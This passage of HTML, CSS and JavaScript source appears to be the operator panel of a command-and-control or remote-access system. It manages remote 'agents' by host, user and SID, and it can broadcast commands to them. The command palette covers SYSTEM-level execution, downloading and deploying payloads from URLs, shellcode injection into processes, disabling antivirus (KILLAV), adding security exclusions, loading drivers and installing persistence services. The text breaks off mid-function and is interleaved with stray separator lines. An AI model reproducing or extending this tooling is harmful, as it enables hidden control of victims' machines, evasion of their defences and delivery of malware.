#agentHead .title { display:flex; align-items:center; gap:10px; flex-wrap:wrap; }
|
||||||
|
#agentHead h2 { margin:0; font-size:16px; font-weight:600; }
|
||||||
|
.meta { display:flex; gap:8px; flex-wrap:wrap; margin-top:8px; }
|
||||||
|
.meta .pill { font-family:inherit; }
|
||||||
|
.emptyHead { color:var(--dim); }
|
||||||
|
|
||||||
|
#composer { padding:12px 18px 6px; display:flex; flex-direction:column; gap:8px; }
|
||||||
|
#cmdRow { display:flex; gap:8px; align-items:stretch; }
|
||||||
|
#text { resize:vertical; min-height:42px; max-height:160px; height:42px; }
|
||||||
|
#sendBtn { align-self:stretch; padding:0 18px; }
|
||||||
|
#chips { display:flex; gap:6px; flex-wrap:wrap; }
|
||||||
|
#chips button { font-size:11px; padding:4px 9px; border-radius:999px; color:var(--dim); }
|
||||||
|
#chips button:hover { color:var(--fg); }
|
||||||
|
#chips button.danger { color:var(--err); border-color:#5c2222; background:#2a1212; }
|
||||||
|
#chips button.danger:hover { color:#fff; background:#3a1616; }
|
||||||
|
|
||||||
|
#cmdBar { display:flex; align-items:center; gap:10px; }
|
||||||
|
#moreCmds { font-size:11px; padding:3px 10px; border-radius:999px; color:var(--accent); }
|
||||||
|
|
||||||
|
#palette { display:none; flex-direction:column; gap:8px; border:1px solid var(--line);
|
||||||
|
border-radius:var(--radius); background:#0d131b; padding:10px; max-height:340px; overflow:auto; }
|
||||||
|
#palette.open { display:flex; }
|
||||||
|
.pgroup { display:flex; align-items:baseline; gap:6px; flex-wrap:wrap; }
|
||||||
|
.plabel { color:var(--faint); font-size:10px; text-transform:uppercase; letter-spacing:.1em;
|
||||||
|
width:78px; flex:0 0 auto; }
|
||||||
|
.pchip { font-size:11px; padding:3px 8px; border-radius:6px; color:var(--dim); background:#121a24; }
|
||||||
|
.pchip:hover { color:var(--fg); border-color:var(--accent); }
|
||||||
|
.pchip.danger { color:var(--err); border-color:#5c2222; background:#2a1212; }
|
||||||
|
.pchip.danger:hover { color:#fff; background:#3a1616; }
|
||||||
|
.hint { color:var(--faint); font-size:11px; }
|
||||||
|
|
||||||
|
#viewBar { display:flex; align-items:center; gap:6px; padding:10px 18px 0; }
|
||||||
|
.tab { background:transparent; border:1px solid transparent; border-radius:8px; color:var(--dim);
|
||||||
|
padding:5px 12px; font-size:12px; }
|
||||||
|
.tab:hover { color:var(--fg); background:var(--panel2); }
|
||||||
|
.tab.active { color:var(--fg); background:var(--panel2); border-color:var(--line2); }
|
||||||
|
|
||||||
|
#allView { display:none; flex:1; overflow:auto; padding:10px 18px 18px; }
|
||||||
|
#cmdTable { width:100%; min-width:980px; border-collapse:collapse; font-size:12px; table-layout:fixed; }
|
||||||
|
#cmdTable th:nth-child(1) { width:95px; }
|
||||||
|
#cmdTable th:nth-child(2) { width:110px; }
|
||||||
|
#cmdTable th:nth-child(3) { width:150px; }
|
||||||
|
#cmdTable th:nth-child(4) { width:80px; }
|
||||||
|
#cmdTable th:nth-child(5) { width:80px; }
|
||||||
|
#cmdTable th:nth-child(6) { width:300px; }
|
||||||
|
#cmdTable th:nth-child(7) { width:70px; }
|
||||||
|
#cmdTable th { position:sticky; top:0; z-index:1; background:var(--panel); text-align:left;
|
||||||
|
color:var(--dim); font-weight:600; font-size:11px; letter-spacing:.06em;
|
||||||
|
text-transform:uppercase; padding:8px 10px; border-bottom:1px solid var(--line2);
|
||||||
|
cursor:pointer; user-select:none; white-space:nowrap; }
|
||||||
|
#cmdTable th:hover { color:var(--fg); }
|
||||||
|
#cmdTable th.sorted { color:var(--accent); }
|
||||||
|
#cmdTable th.sorted.desc::after { content:" v"; }
|
||||||
|
#cmdTable th.sorted.asc::after { content:" ^"; }
|
||||||
|
#cmdTable td { padding:7px 10px; border-bottom:1px solid var(--line); vertical-align:top; }
|
||||||
|
#cmdTable tr.row { cursor:pointer; }
|
||||||
|
#cmdTable tr.row:hover { background:var(--panel2); }
|
||||||
|
#cmdTable td.when { color:var(--faint); white-space:nowrap; font-variant-numeric:tabular-nums; }
|
||||||
|
#cmdTable td.agent { color:var(--accent); white-space:nowrap; }
|
||||||
|
#cmdTable td.text { font-family:"Cascadia Mono",Consolas,monospace;
|
||||||
|
overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
|
||||||
|
#cmdTable .rerun { display:inline-block; margin-right:6px; padding:0 5px; border-radius:4px;
|
||||||
|
font-size:10px; letter-spacing:.04em; color:var(--accent);
|
||||||
|
border:1px solid #1d4f80; background:#0f2131; cursor:pointer; }
|
||||||
|
#cmdTable .rerun:hover { background:#15324a; color:#cfe4ff; }
|
||||||
|
#cmdTable .exp { display:inline-block; width:12px; margin-right:6px; color:var(--faint);
|
||||||
|
cursor:pointer; text-align:center; }
|
||||||
|
#cmdTable .exp:hover { color:var(--accent); }
|
||||||
|
#cmdTable td.res { cursor:pointer; }
|
||||||
|
#cmdTable td.num { color:var(--faint); white-space:nowrap; text-align:right; }
|
||||||
|
#cmdTable td.res { color:#9fb2c6; overflow:hidden; text-overflow:ellipsis;
|
||||||
|
white-space:nowrap; font-family:"Cascadia Mono",Consolas,monospace; }
|
||||||
|
#cmdTable tr.detail td { background:#0c1219; border-bottom:1px solid var(--line2); }
|
||||||
|
#cmdTable tr.detail pre { margin:0; white-space:pre-wrap; word-break:break-word; color:#c6d3e2; }
|
||||||
|
#history { flex:1; overflow:auto; padding:6px 18px 18px; }
|
||||||
|
.cmd { border:1px solid var(--line); border-radius:var(--radius); background:var(--panel);
|
||||||
|
margin-bottom:8px; overflow:hidden; }
|
||||||
|
.cmd .top { display:flex; align-items:center; gap:10px; padding:8px 12px; cursor:pointer; }
|
||||||
|
.cmd .top:hover { background:var(--panel2); }
|
||||||
|
.cmd .txt { flex:1; min-width:0; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;
|
||||||
|
font-family:"Cascadia Mono",Consolas,monospace; font-size:12px; }
|
||||||
|
.state { font-size:10px; letter-spacing:.06em; text-transform:uppercase; padding:2px 7px;
|
||||||
|
border-radius:5px; border:1px solid; }
|
||||||
|
.state.queued { color:var(--warn); border-color:#5a4418; background:#2a2110; }
|
||||||
|
.state.sent { color:var(--accent); border-color:#1d4f80; background:#0f2131; }
|
||||||
|
.state.done { color:var(--ok); border-color:#1f4a38; background:#0f2419; }
|
||||||
|
.state.failed, .state.error { color:var(--err); border-color:#5c2222; background:#2a1212; }
|
||||||
|
.cmd .when { color:var(--faint); font-size:11px; white-space:nowrap; }
|
||||||
|
.cmd .body { display:none; border-top:1px solid var(--line); padding:10px 12px; }
|
||||||
|
.cmd.open .body { display:block; }
|
||||||
|
.cmd .body pre { margin:0; white-space:pre-wrap; word-break:break-word; font-size:12px; color:#c6d3e2; }
|
||||||
|
.cmd .body .empty { color:var(--faint); font-style:italic; }
|
||||||
|
.copy { float:right; margin-left:10px; }
|
||||||
|
|
||||||
|
/* ---------- overlays ---------- */
|
||||||
|
#login { position:fixed; inset:0; background:radial-gradient(1200px 600px at 50% -10%,#12202e,#070a0e 70%);
|
||||||
|
display:flex; align-items:center; justify-content:center; z-index:20; }
|
||||||
|
.card { width:340px; background:var(--panel); border:1px solid var(--line2); border-radius:14px;
|
||||||
|
padding:26px; box-shadow:0 24px 60px rgba(0,0,0,.55); }
|
||||||
|
.card h1 { font-size:12px; letter-spacing:.24em; color:var(--dim); text-transform:uppercase; margin:0 0 18px; }
|
||||||
|
.card label { display:block; font-size:11px; color:var(--dim); margin-bottom:6px; }
|
||||||
|
.card button { width:100%; margin-top:14px; }
|
||||||
|
.err { color:var(--err); font-size:12px; min-height:18px; margin-top:10px; }
|
||||||
|
|
||||||
|
#toasts { position:fixed; right:16px; bottom:16px; display:flex; flex-direction:column; gap:8px; z-index:30; }
|
||||||
|
.toast { background:var(--panel2); border:1px solid var(--line2); border-left:3px solid var(--accent);
|
||||||
|
border-radius:8px; padding:9px 14px; font-size:12px; box-shadow:0 10px 30px rgba(0,0,0,.45);
|
||||||
|
animation:slide .18s ease-out; }
|
||||||
|
.toast.ok { border-left-color:var(--ok); }
|
||||||
|
.toast.bad { border-left-color:var(--err); }
|
||||||
|
@keyframes slide { from { transform:translateY(6px); opacity:0 } to { transform:none; opacity:1 } }
|
||||||
|
|
||||||
|
@media (max-width:900px) {
|
||||||
|
#main { grid-template-columns:1fr; }
|
||||||
|
#side { display:none; }
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div id="login">
|
||||||
|
<div class="card">
|
||||||
|
<h1>Agent Control</h1>
|
||||||
|
<label for="key">Operator key</label>
|
||||||
|
<input id="key" type="password" placeholder="paste key" autocomplete="off">
|
||||||
|
<button class="primary" id="loginBtn">Connect</button>
|
||||||
|
<div class="err" id="loginErr"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="app">
|
||||||
|
<header>
|
||||||
|
<div class="brand">agent <b>control</b></div>
|
||||||
|
<div class="pill" id="livePill"><span class="dot"></span><span id="liveText">connecting</span></div>
|
||||||
|
<div class="grow"></div>
|
||||||
|
<div class="hint" id="refreshed"></div>
|
||||||
|
<button class="ghost" id="bcBtn" title="Send one command to every online agent">broadcast</button>
|
||||||
|
<button class="ghost" id="refreshBtn" title="Refresh now">refresh</button>
|
||||||
|
<button class="ghost" id="lockBtn" title="Forget key">lock</button>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<div id="main">
|
||||||
|
<aside id="side">
|
||||||
|
<div id="sideHead">
|
||||||
|
<div class="search">
|
||||||
|
<svg viewBox="0 0 24 24" fill="none" stroke-width="2"><circle cx="11" cy="11" r="7"/><path d="M20 20l-3.5-3.5"/></svg>
|
||||||
|
<input id="filter" placeholder="Search agents" autocomplete="off">
|
||||||
|
</div>
|
||||||
|
<div class="hint" id="agentCount">0 agents</div>
|
||||||
|
</div>
|
||||||
|
<div id="agentList"></div>
|
||||||
|
</aside>
|
||||||
|
|
||||||
|
<section id="content">
|
||||||
|
<div id="agentHead">
|
||||||
|
<div class="emptyHead" id="noAgent">Select an agent on the left to open a console.</div>
|
||||||
|
<div class="title" id="agentTitle" style="display:none">
|
||||||
|
<h2 id="aName"></h2>
|
||||||
|
<span class="pill" id="aState"><span class="dot"></span><span id="aStateText"></span></span>
|
||||||
|
<div class="grow"></div>
|
||||||
|
<button class="ghost" id="revokeBtn" title="Toggle this agent key">revoke</button>
|
||||||
|
<button class="ghost" id="clearSelection">close</button>
|
||||||
|
</div>
|
||||||
|
<div class="meta" id="agentMeta"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="viewBar">
|
||||||
|
<button class="tab active" data-view="console">Console</button>
|
||||||
|
<button class="tab" data-view="commands">All commands</button>
|
||||||
|
<div class="grow"></div>
|
||||||
|
<input id="cmdFilter" placeholder="filter commands" style="display:none;max-width:220px">
|
||||||
|
<select id="stateFilter" style="display:none;max-width:180px">
|
||||||
|
<option value="done" selected>executed (done)</option>
|
||||||
|
<option value="">any state</option>
|
||||||
|
<option value="queued">queued</option>
|
||||||
|
<option value="sent">sent</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="allView">
|
||||||
|
<table id="cmdTable">
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th data-sort="created" class="sorted desc">time</th>
|
||||||
|
<th data-sort="agent">agent</th>
|
||||||
|
<th data-sort="text">command</th>
|
||||||
|
<th data-sort="state">state</th>
|
||||||
|
<th data-sort="operator">by</th>
|
||||||
|
<th data-sort="result">result</th>
|
||||||
|
<th data-sort="duration">took</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody id="cmdBody"></tbody>
|
||||||
|
</table>
|
||||||
|
<div class="hint" id="cmdEmpty" style="padding:14px;display:none">No commands match.</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="composer" style="display:none">
|
||||||
|
<div id="cmdRow">
|
||||||
|
<textarea id="text" rows="1" placeholder="Type a command, e.g. STATUS (Enter to send, Shift+Enter for newline)"></textarea>
|
||||||
|
<button class="primary" id="sendBtn">send</button>
|
||||||
|
</div>
|
||||||
|
<div id="chips"></div>
|
||||||
|
<div id="cmdBar">
|
||||||
|
<button class="ghost" id="moreCmds">all commands</button>
|
||||||
|
<div class="grow"></div>
|
||||||
|
<span class="hint">commands with <args> load into the box, the rest run immediately</span>
|
||||||
|
</div>
|
||||||
|
<div id="palette">
|
||||||
|
<input id="cmdSearch" placeholder="Search all commands" autocomplete="off">
|
||||||
|
<div id="cmdGroups"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="history"></div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="toasts"></div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
var KEY = localStorage.getItem("agentKey") || "";
|
||||||
|
var agents = [];
|
||||||
|
var selected = null;
|
||||||
|
var commands = [];
|
||||||
|
var timer = null;
|
||||||
|
var lastRefresh = 0;
|
||||||
|
var openIds = {};
|
||||||
|
|
||||||
|
// Every command the agent accepts, grouped for the palette.
|
||||||
|
// args:true means the chip pre-fills the box so the operator can fill values.
|
||||||
|
var COMMANDS = [
|
||||||
|
{ c: "PING", g: "basics" },
|
||||||
|
{ c: "STATUS", g: "basics" },
|
||||||
|
{ c: "HELP", g: "basics" },
|
||||||
|
|
||||||
|
{ c: "RUN <cmd>", g: "execute", a: 1 },
|
||||||
|
{ c: "EXEC <commandline>", g: "execute", a: 1 },
|
||||||
|
{ c: "RUN_USER <cmd>", g: "execute", a: 1 },
|
||||||
|
{ c: "RUN_SYSTEM <cmd>", g: "execute", a: 1 },
|
||||||
|
{ c: "PS <powershell command>", g: "execute", a: 1 },
|
||||||
|
{ c: "PS_USER <powershell command>", g: "execute", a: 1 },
|
||||||
|
|
||||||
|
{ c: "RUNFILE <path> [args]", g: "files", a: 1 },
|
||||||
|
{ c: "RUNFILE_USER <path> [args]", g: "files", a: 1 },
|
||||||
|
{ c: "RUNFILE_SYSTEM <path> [args]", g: "files", a: 1 },
|
||||||
|
{ c: "OPENFILE <path> [args]", g: "files", a: 1 },
|
||||||
|
{ c: "OPENFILE_USER <path> [args]", g: "files", a: 1 },
|
||||||
|
{ c: "DOWNLOAD <url> <output-path> [sha256]", g: "files", a: 1 },
|
||||||
|
{ c: "DEPLOY <url> [args]", g: "files", a: 1 },
|
||||||
|
{ c: "DEPLOY_SYSTEM <url> [args]", g: "files", a: 1 },
|
||||||
|
|
||||||
|
{ c: "KILLPID <pid>", g: "processes", a: 1 },
|
||||||
|
{ c: "KILLNAME <name.exe>", g: "processes", a: 1 },
|
||||||
|
{ c: "KILLALL <name.exe>", g: "processes", a: 1 },
|
||||||
|
{ c: "TOKEN_GET", g: "processes" },
|
||||||
|
{ c: "INJECT_FILE <pid> <shellcode-path>", g: "processes", a: 1 },
|
||||||
|
{ c: "INJECT_SUSPEND <exe-path> <shellcode-path>", g: "processes", a: 1 },
|
||||||
|
|
||||||
|
{ c: "KILLAV", g: "security", danger: 1 },
|
||||||
|
{ c: "KILLAV_DRYRUN", g: "security" },
|
||||||
|
{ c: "EXCLUSION_LIST", g: "security" },
|
||||||
|
{ c: "EXCLUSION_ADD <path>", g: "security", a: 1 },
|
||||||
|
{ c: "EXCLUSION_APPLY", g: "security" },
|
||||||
|
|
||||||
|
{ c: "DRIVER_STATUS", g: "driver" },
|
||||||
|
{ c: "DRIVER_RESET", g: "driver" },
|
||||||
|
{ c: "DRIVER_LOAD", g: "driver" },
|
||||||
|
|
||||||
|
{ c: "HOST_LIST", g: "hosts" },
|
||||||
|
{ c: "HOST_SPAWN [--host <image>] <exe> [args]", g: "hosts", a: 1 },
|
||||||
|
{ c: "HOST_SPAWN_USER [--host <image>] <exe> [args]", g: "hosts", a: 1 },
|
||||||
|
{ c: "HOST_INJECT <shellcode-path> [--host <image>]", g: "hosts", a: 1 },
|
||||||
|
{ c: "HOST_TRACK", g: "hosts" },
|
||||||
|
{ c: "HOST_UNTRACK", g: "hosts" },
|
||||||
|
|
||||||
|
{ c: "STAGE_STATUS", g: "payload" },
|
||||||
|
{ c: "STAGE_INJECT [--host <image>]", g: "payload", a: 1 },
|
||||||
|
{ c: "STAGE_RUN <command line>", g: "payload", a: 1 },
|
||||||
|
{ c: "STAGE_STOP", g: "payload" },
|
||||||
|
|
||||||
|
{ c: "SERVICE_STATUS <name>", g: "services", a: 1 },
|
||||||
|
{ c: "START_SERVICE <name> [binary-path]", g: "services", a: 1 },
|
||||||
|
{ c: "INSTALL_SERVICE <name> [binary-path]", g: "services", a: 1 },
|
||||||
|
{ c: "INSTALL_CLOUD_SERVICE <name>", g: "services", a: 1 },
|
||||||
|
{ c: "INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]", g: "services", a: 1 },
|
||||||
|
|
||||||
|
{ c: "STOP", g: "session", danger: 1 }
|
||||||
|
];
|
||||||
|
|
||||||
|
var QUICK = ["STATUS", "PING", "HOST_LIST", "STAGE_STATUS", "DRIVER_STATUS", "EXCLUSION_LIST", "KILLAV_DRYRUN", "HELP"];
|
||||||
|
|
||||||
|
function $(id) { return document.getElementById(id); }
|
||||||
|
|
||||||
|
function esc(v) {
|
||||||
|
return String(v == null ? "" : v).replace(/[&<>"']/g, function (c) {
|
||||||
|
return { "&":"&", "<":"<", ">":">", '"':""", "'":"'" }[c];
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function ago(sec) {
|
||||||
|
sec = Math.max(0, sec | 0);
|
||||||
|
if (sec < 60) return sec + "s ago";
|
||||||
|
if (sec < 3600) return Math.floor(sec / 60) + "m ago";
|
||||||
|
if (sec < 86400) return Math.floor(sec / 3600) + "h ago";
|
||||||
|
return Math.floor(sec / 86400) + "d ago";
|
||||||
|
}
|
||||||
|
|
||||||
|
function clock(ts) {
|
||||||
|
var d = new Date(ts * 1000);
|
||||||
|
return d.toLocaleTimeString([], { hour: "2-digit", minute: "2-digit", second: "2-digit" });
|
||||||
|
}
|
||||||
|
|
||||||
|
function toast(msg, kind) {
|
||||||
|
var el = document.createElement("div");
|
||||||
|
el.className = "toast " + (kind || "");
|
||||||
|
el.textContent = msg;
|
||||||
|
$("toasts").appendChild(el);
|
||||||
|
setTimeout(function () { el.remove(); }, 3200);
|
||||||
|
}
|
||||||
|
|
||||||
|
function api(path, opts) {
|
||||||
|
return fetch(path, Object.assign({
|
||||||
|
headers: { "X-Operator-Key": KEY, "Content-Type": "application/json" }
|
||||||
|
}, opts || {})).then(function (res) {
|
||||||
|
if (res.status === 403) { lock("operator key rejected"); throw new Error("denied"); }
|
||||||
|
return res.json();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function lock(msg) {
|
||||||
|
if (timer) { clearInterval(timer); timer = null; }
|
||||||
|
$("login").style.display = "flex";
|
||||||
|
$("loginErr").textContent = msg || "";
|
||||||
|
$("key").focus();
|
||||||
|
}
|
||||||
|
|
||||||
|
function connect() {
|
||||||
|
KEY = $("key").value.trim();
|
||||||
|
if (!KEY) { $("loginErr").textContent = "key required"; return; }
|
||||||
|
localStorage.setItem("agentKey", KEY);
|
||||||
|
$("login").style.display = "none";
|
||||||
|
start();
|
||||||
|
}
|
||||||
|
|
||||||
|
function start() {
|
||||||
|
renderChips();
|
||||||
|
refresh(true);
|
||||||
|
if (timer) clearInterval(timer);
|
||||||
|
timer = setInterval(function () { refresh(false); }, 3000);
|
||||||
|
}
|
||||||
|
|
||||||
|
function refresh(force) {
|
||||||
|
return Promise.all([api("/api/agents"), api("/api/stats")]).then(function (r) {
|
||||||
|
agents = r[0].agents || [];
|
||||||
|
var online = 0;
|
||||||
|
agents.forEach(function (a) { if (a.online) online++; });
|
||||||
|
|
||||||
|
$("liveText").textContent = online + " online / " + agents.length;
|
||||||
|
$("livePill").className = "pill" + (online ? " live" : "");
|
||||||
|
$("agentCount").textContent = agents.length + (agents.length === 1 ? " agent" : " agents");
|
||||||
|
lastRefresh = Date.now();
|
||||||
|
$("refreshed").textContent = "updated " + new Date(lastRefresh).toLocaleTimeString();
|
||||||
|
|
||||||
|
renderAgents();
|
||||||
|
|
||||||
|
if (viewMode === "commands") { loadAll(); return; }
|
||||||
|
|
||||||
|
if (selected) {
|
||||||
|
var a = agents.filter(function (x) { return x.id === selected; })[0];
|
||||||
|
if (a) renderHead(a);
|
||||||
|
return api("/api/commands?agent=" + encodeURIComponent(selected) + "&limit=40").then(function (list) {
|
||||||
|
commands = list.commands || [];
|
||||||
|
renderHistory();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}).catch(function (e) {
|
||||||
|
if (String(e.message) !== "denied") toast("refresh failed: " + e.message, "bad");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderAgents() {
|
||||||
|
var f = ($("filter").value || "").toLowerCase();
|
||||||
|
var rows = agents.filter(function (a) {
|
||||||
|
return !f || String(a.id).toLowerCase().indexOf(f) >= 0 || String(a.host || "").toLowerCase().indexOf(f) >= 0;
|
||||||
|
}).sort(function (a, b) {
|
||||||
|
if (a.online !== b.online) return a.online ? -1 : 1;
|
||||||
|
return a.age - b.age;
|
||||||
|
});
|
||||||
|
|
||||||
|
var html = rows.map(function (a) {
|
||||||
|
var cls = "agent" + (a.id === selected ? " sel" : "") + (a.online ? "" : " offline");
|
||||||
|
var user = (a.user || "").split("\\").pop() || "unknown";
|
||||||
|
return '<div class="' + cls + '" data-agent="' + esc(a.id) + '" tabindex="0">' +
|
||||||
|
'<span class="dot ' + (a.online ? "on" : "") + '"></span>' +
|
||||||
|
'<div class="nm"><span>' + esc(a.id) + '</span>' +
|
||||||
|
(a.system ? '<span class="tag">system</span>' : "") +
|
||||||
|
(a.revoked ? '<span class="tag revoked">revoked</span>' : "") + '</div>' +
|
||||||
|
(a.queued ? '<span class="badge">' + a.queued + ' queued</span>' : '<span></span>') +
|
||||||
|
'<div class="sub">' + esc(a.host || "unknown host") + ' - ' + esc(user) +
|
||||||
|
' - ' + ago(a.age) + '</div>' +
|
||||||
|
'</div>';
|
||||||
|
}).join("");
|
||||||
|
|
||||||
|
$("agentList").innerHTML = html || '<div class="hint" style="padding:14px">No agents match.</div>';
|
||||||
|
|
||||||
|
Array.prototype.forEach.call($("agentList").querySelectorAll(".agent"), function (el) {
|
||||||
|
el.addEventListener("click", function () { select(el.getAttribute("data-agent")); });
|
||||||
|
el.addEventListener("keydown", function (e) {
|
||||||
|
if (e.key === "Enter" || e.key === " ") { e.preventDefault(); select(el.getAttribute("data-agent")); }
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function pill(label) { return '<span class="pill">' + esc(label) + '</span>'; }
|
||||||
|
|
||||||
|
function renderHead(a) {
|
||||||
|
$("noAgent").style.display = "none";
|
||||||
|
$("agentTitle").style.display = "flex";
|
||||||
|
$("composer").style.display = "flex";
|
||||||
|
|
||||||
|
$("aName").textContent = a.id;
|
||||||
|
$("aState").className = "pill" + (a.revoked ? "" : (a.online ? " live" : ""));
|
||||||
|
$("aStateText").textContent = a.revoked ? "revoked" : (a.online ? "online" : "offline");
|
||||||
|
$("revokeBtn").textContent = a.revoked ? "restore" : "revoke";
|
||||||
|
|
||||||
|
var meta = [
|
||||||
|
pill("host " + (a.host || "?")),
|
||||||
|
pill("user " + (a.user || "?")),
|
||||||
|
pill("sid " + (a.sid || "?")),
|
||||||
|
pill("v" + (a.version || "?")),
|
||||||
|
pill("interval " + Math.round((a.interval || 0) / 1000) + "s"),
|
||||||
|
pill("seen " + ago(a.age))
|
||||||
|
];
|
||||||
|
if (a.queued) meta.push(pill(a.queued + " queued"));
|
||||||
|
$("agentMeta").innerHTML = meta.join("");
|
||||||
|
}
|
||||||
|
|
||||||
|
function select(id) {
|
||||||
|
selected = id;
|
||||||
|
openIds = {};
|
||||||
|
renderAgents();
|
||||||
|
var a = agents.filter(function (x) { return x.id === id; })[0];
|
||||||
|
if (a) renderHead(a);
|
||||||
|
refresh(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
function chipButton(entry, cls) {
|
||||||
|
var danger = entry.danger ? " danger" : "";
|
||||||
|
var label = entry.label || entry.c
|
||||||
|
.replace(/<[^>]*>/g, "")
|
||||||
|
.replace(/\[[^\]]*\]/g, "")
|
||||||
|
.replace(/\s+/g, " ")
|
||||||
|
.trim()
|
||||||
|
.toLowerCase();
|
||||||
|
return '<button class="' + cls + danger + '" data-cmd="' + esc(entry.c) + '" data-args="' + (entry.a ? 1 : 0) + '"' +
|
||||||
|
' title="' + esc(entry.c) + '">' + esc(label) + "</button>";
|
||||||
|
}
|
||||||
|
|
||||||
|
function clickChip(cmd, hasArgs) {
|
||||||
|
if (!selected) { toast("select an agent first", "bad"); return; }
|
||||||
|
|
||||||
|
if (hasArgs) {
|
||||||
|
var box = $("text");
|
||||||
|
box.value = cmd;
|
||||||
|
box.focus();
|
||||||
|
box.style.height = "42px";
|
||||||
|
box.style.height = Math.min(box.scrollHeight, 160) + "px";
|
||||||
|
toast("fill in the arguments, then Enter", "ok");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$("text").value = cmd;
|
||||||
|
send();
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderChips() {
|
||||||
|
var quick = QUICK.map(function (name) {
|
||||||
|
var entry = COMMANDS.filter(function (c) { return c.c === name; })[0] || { c: name };
|
||||||
|
return chipButton(entry, "chip");
|
||||||
|
}).join("");
|
||||||
|
|
||||||
|
$("chips").innerHTML = quick;
|
||||||
|
|
||||||
|
Array.prototype.forEach.call($("chips").querySelectorAll("button"), function (b) {
|
||||||
|
b.addEventListener("click", function () {
|
||||||
|
clickChip(b.getAttribute("data-cmd"), b.getAttribute("data-args") === "1");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
$("moreCmds").textContent = "all commands (" + COMMANDS.length + ")";
|
||||||
|
renderPalette("");
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderPalette(filter) {
|
||||||
|
var f = (filter || "").toLowerCase();
|
||||||
|
var groups = {};
|
||||||
|
|
||||||
|
COMMANDS.forEach(function (entry) {
|
||||||
|
if (f && entry.c.toLowerCase().indexOf(f) < 0) return;
|
||||||
|
(groups[entry.g] = groups[entry.g] || []).push(entry);
|
||||||
|
});
|
||||||
|
|
||||||
|
var html = Object.keys(groups).map(function (g) {
|
||||||
|
return '<div class="pgroup"><div class="plabel">' + esc(g) + "</div>" +
|
||||||
|
groups[g].map(function (e) { return chipButton(e, "pchip"); }).join("") + "</div>";
|
||||||
|
}).join("");
|
||||||
|
|
||||||
|
$("cmdGroups").innerHTML = html || '<div class="hint">no command matches</div>';
|
||||||
|
|
||||||
|
Array.prototype.forEach.call($("cmdGroups").querySelectorAll("button"), function (b) {
|
||||||
|
b.addEventListener("click", function () {
|
||||||
|
clickChip(b.getAttribute("data-cmd"), b.getAttribute("data-args") === "1");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderHistory() {
|
||||||
|
if (!selected) { $("history").innerHTML = ""; return; }
|
||||||
|
|
||||||
|
if (!commands.length) {
|
||||||
|
$("history").innerHTML = '<div class="hint" style="padding:18px">No commands yet. Use a quick action above.</div>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
commands.forEach(function (c, i) {
|
||||||
|
if (i === 0 && c.state === "done" && !(c.id in openIds)) openIds[c.id] = true;
|
||||||
|
});
|
||||||
|
|
||||||
|
$("history").innerHTML = commands.map(function (c) {
|
||||||
|
var open = openIds[c.id] ? " open" : "";
|
||||||
|
var duration = c.finished && c.sent ? ((c.finished - c.sent) * 1000) + " ms" : (c.state === "sent" ? "waiting" : "");
|
||||||
|
var result = c.result
|
||||||
|
? '<pre id="r_' + esc(c.id) + '">' + esc(c.result) + '</pre>'
|
||||||
|
: '<div class="empty">no output yet</div>';
|
||||||
|
return '<div class="cmd' + open + '" data-id="' + esc(c.id) + '">' +
|
||||||
|
'<div class="top">' +
|
||||||
|
'<span class="state ' + esc(c.state) + '">' + esc(c.state) + '</span>' +
|
||||||
|
'<span class="txt">' + esc(c.text) + '</span>' +
|
||||||
|
'<span class="when">' + clock(c.created) + (duration ? " - " + duration : "") + '</span>' +
|
||||||
|
'</div>' +
|
||||||
|
'<div class="body">' + result +
|
||||||
|
'<div style="margin-top:8px;display:flex;gap:8px">' +
|
||||||
|
'<button class="ghost copy" data-copy="' + esc(c.id) + '">copy result</button>' +
|
||||||
|
'<button class="ghost" data-again="' + esc(c.text) + '">run again</button>' +
|
||||||
|
'</div>' +
|
||||||
|
'</div>' +
|
||||||
|
'</div>';
|
||||||
|
}).join("");
|
||||||
|
|
||||||
|
Array.prototype.forEach.call($("history").querySelectorAll(".cmd"), function (el) {
|
||||||
|
el.querySelector(".top").addEventListener("click", function () {
|
||||||
|
var id = el.getAttribute("data-id");
|
||||||
|
openIds[id] = !openIds[id];
|
||||||
|
el.classList.toggle("open");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
Array.prototype.forEach.call($("history").querySelectorAll("[data-copy]"), function (b) {
|
||||||
|
b.addEventListener("click", function (e) {
|
||||||
|
e.stopPropagation();
|
||||||
|
var pre = $("r_" + b.getAttribute("data-copy"));
|
||||||
|
if (!pre) return;
|
||||||
|
navigator.clipboard.writeText(pre.textContent).then(function () { toast("result copied", "ok"); });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
Array.prototype.forEach.call($("history").querySelectorAll("[data-again]"), function (b) {
|
||||||
|
b.addEventListener("click", function (e) {
|
||||||
|
e.stopPropagation();
|
||||||
|
